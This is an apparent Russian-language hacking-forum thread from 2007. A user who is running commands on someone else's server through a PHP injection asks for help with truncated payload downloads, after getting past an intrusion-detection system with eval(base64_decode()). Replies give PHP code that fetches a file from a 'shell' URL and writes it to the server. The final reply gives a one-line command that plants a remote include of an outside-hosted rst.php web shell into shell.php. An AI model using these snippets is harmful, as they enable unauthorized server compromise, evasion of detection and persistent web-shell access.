Борьба с Ids

Discussion in 'Уязвимости' started by Xex, 8 Aug 2007.

  1. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    Здраствуйте,

    Вобщем на одном серве, вероятно, стоит IDS, либо любой "другой ИИ",
    обрубающий коннект при всяких пошлых запросах типа index.php?iop=ls%20-la.
    обойти его оказалось просто - примерно такой конструкцией, eval(base64_decode()).
    Но вот проблема, не могу корректно загрузить на серв что мне нужно, т.е. wget, curl работают и даже загружают, но не весь файл а только РОВНО 62848 байт.
    попробовал PHP'ой функцией copy - результат тот же, тоже льет но не больше чем 62848 байт.
    Пробовал закачать 62848, затем докачать - не работает. в phpinfo() аплод разрешен и размер макс. аплода не превышает объема моего файла.
    Подскажите у кого есть какие мысли по этой проблеме и возможное решение.

    Спасибо.
     
  2. groundhog

    groundhog Elder - Старейшина

    Joined:
    12 May 2007
    Messages:
    1,159
    Likes Received:
    425
    Reputations:
    180
    Аплоад может быть ограничен в конфиге виртуального хоста, а не в самом php.ini... А что тебе мешает разбить файл на части, скачать по частям, а потом copy a+b+c? :)
     
  3. andy13

    andy13 Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    100
    Likes Received:
    15
    Reputations:
    3
    или заархивировать, скачать и потом распаковать.
     
  4. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    ну это - да, вариант,
    но все же хотелось бы разобраться с чем это связанно,
    а про вирт хост проверю
     
  5. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    нет, в размер аплода везде нормальный,

    слишком большой размер
     
  6. m0nzt3r

    m0nzt3r моня

    Joined:
    22 Jun 2004
    Messages:
    2,096
    Likes Received:
    673
    Reputations:
    591
    а если такой вариант:
    PHP:
    $data=@implode('',file('http://shell'));
    //и дальше записать в файл?-->
    $fp=@fopen('./local/file.php','wb');
    @
    fputs($fp,$data);
    @
    fclose($fp);
     
    2 people like this.
  7. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    спасибо, попробую,
    я еще думаю попробовать читать маленькими блоками,
    спасибо за решение.
    но хотелось бы выяснить - источник проблемы
     
  8. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    хм, все перепробовал, всякие конструкции, каждый день меняется размер скачиваемого файла, от 6-20 кб, не больше - вобще жесть. хз уже что делать
     
  9. Alexsize

    Alexsize Fail

    Joined:
    17 Sep 2005
    Messages:
    1,771
    Likes Received:
    1,221
    Reputations:
    704
    А такой вариант, что на винте место квотой для этого юзера ограничено не рассматриваешь? Я как то тоже полночи Ивана-потрошителя ставил.. А всего навсего место на винте закончилось=(
     
  10. Xex

    Xex Banned

    Joined:
    10 Jul 2005
    Messages:
    108
    Likes Received:
    41
    Reputations:
    7
    нет, к сожалению, проблема не в этом,
    проверял,
    но спасибо за отклик
     
  11. c411k

    c411k Members of Antichat

    Joined:
    16 Jul 2005
    Messages:
    550
    Likes Received:
    675
    Reputations:
    704
    эммм, хватит извращаться и лить что либо ) пробни обычный удал.инклуд.
    в eval echo '<?@include("http://gbl.nightmail.ru/rst.php";?>' > shell.php
     
    _________________________
    1 person likes this.